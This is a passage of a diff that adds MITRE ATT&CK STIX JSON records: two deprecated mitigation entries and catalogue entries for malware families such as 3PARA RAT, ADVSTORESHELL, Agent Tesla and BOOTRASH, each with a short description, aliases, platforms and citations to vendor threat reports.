"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3", + "external_references": [ + { + "external_id": "T1004", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1004" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "modified": "2019-07-25T12:36:23.074Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.", + "type": "course-of-action", + "name": "XSL Script Processing Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--7708ac15-4beb-4863-a1a5-da2d63fb8a3c", + "external_references": [ + { + "external_id": "T1220", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1220" + } + ], + "modified": "2019-07-25T12:36:43.778Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) is a remote access tool (RAT) programmed in C++ that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024). (Citation: CrowdStrike Putter Panda)", + "id": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "external_references": [ + { + "external_id": "S0066", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0066" + }, + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:44.131Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "3PARA RAT", + "x_mitre_aliases": [ + "3PARA RAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) is malware that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024) since at least 2007. (Citation: CrowdStrike Putter Panda)", + "id": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "external_references": [ + { + "external_id": "S0065", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0065" + }, + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:43.664Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "4H RAT", + "x_mitre_aliases": [ + "4H RAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is a spying backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)", + "id": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "external_references": [ + { + "external_id": "S0045", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0045" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:34.648Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "ADVSTORESHELL", + "x_mitre_aliases": [ + "ADVSTORESHELL", + "AZZY", + "EVILTOSS", + "NETUI", + "Sedreco" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. It has been modified by [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors to create the ASPXTool version. (Citation: Dell TG-3390)", + "id": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2", + "external_references": [ + { + "external_id": "S0073", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0073" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:47.879Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "ASPXSpy", + "x_mitre_aliases": [ + "ASPXSpy", + "ASPXTool" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written in visual basic.(Citation: Fortinet Agent Tesla April 2018)", + "id": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "external_references": [ + { + "external_id": "S0331", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0331" + }, + { + "source_name": "Agent Tesla", + "description": "(Citation: Fortinet Agent Tesla April 2018)(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)" + }, + { + "source_name": "Fortinet Agent Tesla April 2018", + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + }, + { + "source_name": "Talos Agent Tesla Oct 2018", + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + }, + { + "source_name": "DigiTrust Agent Tesla Jan 2017", + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-16T14:30:35.105Z", + "type": "malware", + "created": "2019-01-29T18:44:04.748Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "Agent Tesla", + "x_mitre_aliases": [ + "Agent Tesla" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)", + "id": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "external_references": [ + { + "external_id": "S0092", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0092" + }, + { + "source_name": "Securelist Agent.btz", + "description": "Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.", + "url": "https://securelist.com/agent-btz-a-source-of-inspiration/58551/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:59.153Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Agent.btz", + "x_mitre_aliases": [ + "Agent.btz" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe and Brazil. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019) (Citation: Cofense Astaroth Sept 2018)", + "id": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "external_references": [ + { + "external_id": "S0373", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0373" + }, + { + "source_name": "Cybereason Astaroth Feb 2019", + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + }, + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-23T16:21:50.503Z", + "type": "malware", + "created": "2019-04-17T13:46:38.565Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Astaroth", + "x_mitre_contributors": [ + "Carlos Borges, CIP" + ], + "x_mitre_aliases": [ + "Astaroth" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) is a malicious DLL that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) during their 2018 attacks.(Citation: TrendMicro Lazarus Nov 2018)", + "id": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "external_references": [ + { + "external_id": "S0347", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0347" + }, + { + "source_name": "AuditCred", + "description": "(Citation: TrendMicro Lazarus Nov 2018)" + }, + { + "source_name": "Roptimizer", + "description": "(Citation: TrendMicro Lazarus Nov 2018)" + }, + { + "source_name": "TrendMicro Lazarus Nov 2018", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-01-30T15:47:41.018Z", + "type": "malware", + "created": "2019-01-30T15:47:41.018Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "AuditCred", + "x_mitre_aliases": [ + "AuditCred", + "Roptimizer" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.", + "id": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", + "external_references": [ + { + "external_id": "S0129", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0129" + }, + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:14.551Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "AutoIt backdoor", + "x_mitre_aliases": [ + "AutoIt backdoor" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) is a commercial Trojan that is used to steal information from compromised hosts. [Azorult](https://attack.mitre.org/software/S0344) has been observed in the wild as early as 2016.\nIn July 2018, [Azorult](https://attack.mitre.org/software/S0344) was seen used in a spearphishing campaign against targets in North America. [Azorult](https://attack.mitre.org/software/S0344) has been seen used for cryptocurrency theft. (Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)", + "id": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "external_references": [ + { + "external_id": "S0344", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0344" + }, + { + "source_name": "Azorult", + "description": "(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)" + }, + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-07-26T23:22:27.822Z", + "type": "malware", + "created": "2019-01-30T15:19:14.309Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Azorult", + "x_mitre_aliases": [ + "Azorult" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) is a backdoor used by [APT30](https://attack.mitre.org/groups/G0013) that dates back to at least 2005. (Citation: FireEye APT30)", + "id": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "external_references": [ + { + "external_id": "S0031", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0031" + }, + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:24.428Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BACKSPACE", + "x_mitre_aliases": [ + "BACKSPACE", + "Lecna" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) is a Trojan malware variant used by the group [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT BADCALL)", + "id": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "external_references": [ + { + "external_id": "S0245", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0245" + }, + { + "source_name": "BADCALL", + "description": "(Citation: US-CERT BADCALL)" + }, + { + "source_name": "US-CERT BADCALL", + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BADCALL", + "x_mitre_aliases": [ + "BADCALL" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is malware that has been used by the actors responsible for the [Patchwork](https://attack.mitre.org/groups/G0040) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon) (Citation: TrendMicro Patchwork Dec 2017)", + "id": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "external_references": [ + { + "external_id": "S0128", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0128" + }, + { + "source_name": "BADNEWS", + "description": "(Citation: Forcepoint Monsoon)" + }, + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:14.118Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BADNEWS", + "x_mitre_aliases": [ + "BADNEWS" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)", + "id": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "external_references": [ + { + "external_id": "S0127", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0127" + }, + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-24T23:10:02.247Z", + "type": "malware", + "created": "2017-05-31T21:33:13.664Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BBSRAT", + "x_mitre_aliases": [ + "BBSRAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) is a backdoor that has been used by [APT1](https://attack.mitre.org/groups/G0006) since as early as 2007. (Citation: Mandiant APT1)", + "id": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "external_references": [ + { + "external_id": "S0017", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0017" + }, + { + "source_name": "BISCUIT", + "description": "(Citation: Mandiant APT1)(Citation: Mandiant APT1 Appendix)" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-01-30T15:38:20.677Z", + "type": "malware", + "created": "2017-05-31T21:32:17.147Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BISCUIT", + "x_mitre_aliases": [ + "BISCUIT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)", + "id": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "external_references": [ + { + "external_id": "S0069", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0069" + }, + { + "source_name": "BLACKCOFFEE", + "description": "(Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)" + }, + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:45.892Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BLACKCOFFEE", + "x_mitre_aliases": [ + "BLACKCOFFEE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)", + "id": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", + "external_references": [ + { + "external_id": "S0360", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0360" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "Palo Alto OilRig Sep 2018", + "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-23T19:32:14.628Z", + "type": "malware", + "created": "2019-02-18T20:16:12.119Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "BONDUPDATER", + "x_mitre_aliases": [ + "BONDUPDATER" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)", + "id": "malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3", + "external_references": [ + { + "external_id": "S0114", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0114" + }, + { + "source_name": "MTrends 2016", + "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:08.292Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BOOTRASH", + "x_mitre_aliases": [ + "BOOTRASH" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BS2005](https://attack.mitre.org/software/S0014) is malware that was used by [Ke3chang](https://attack.mitre.org/groups/G0004) in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014)", + "id": "malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6", + "external_references": [ + { + "external_id": "S0014", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0014" + }, + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:15.994Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BS2005", + "x_mitre_aliases": [ + "BS2005" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) is a full-featured, second-stage backdoor used by the [admin@338](https://attack.mitre.org/groups/G0018) group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)", + "id": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", + "external_references": [ + { + "external_id": "S0043", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0043" + }, + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:33.738Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BUBBLEWRAP", + "x_mitre_aliases": [ + "BUBBLEWRAP", + "Backdoor.APT.FakeWinHTTPHelper" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a backdoor used by [Dragonfly](https://attack.mitre.org/groups/G0035). It appears to be custom malware authored by the group or specifically for it. (Citation: 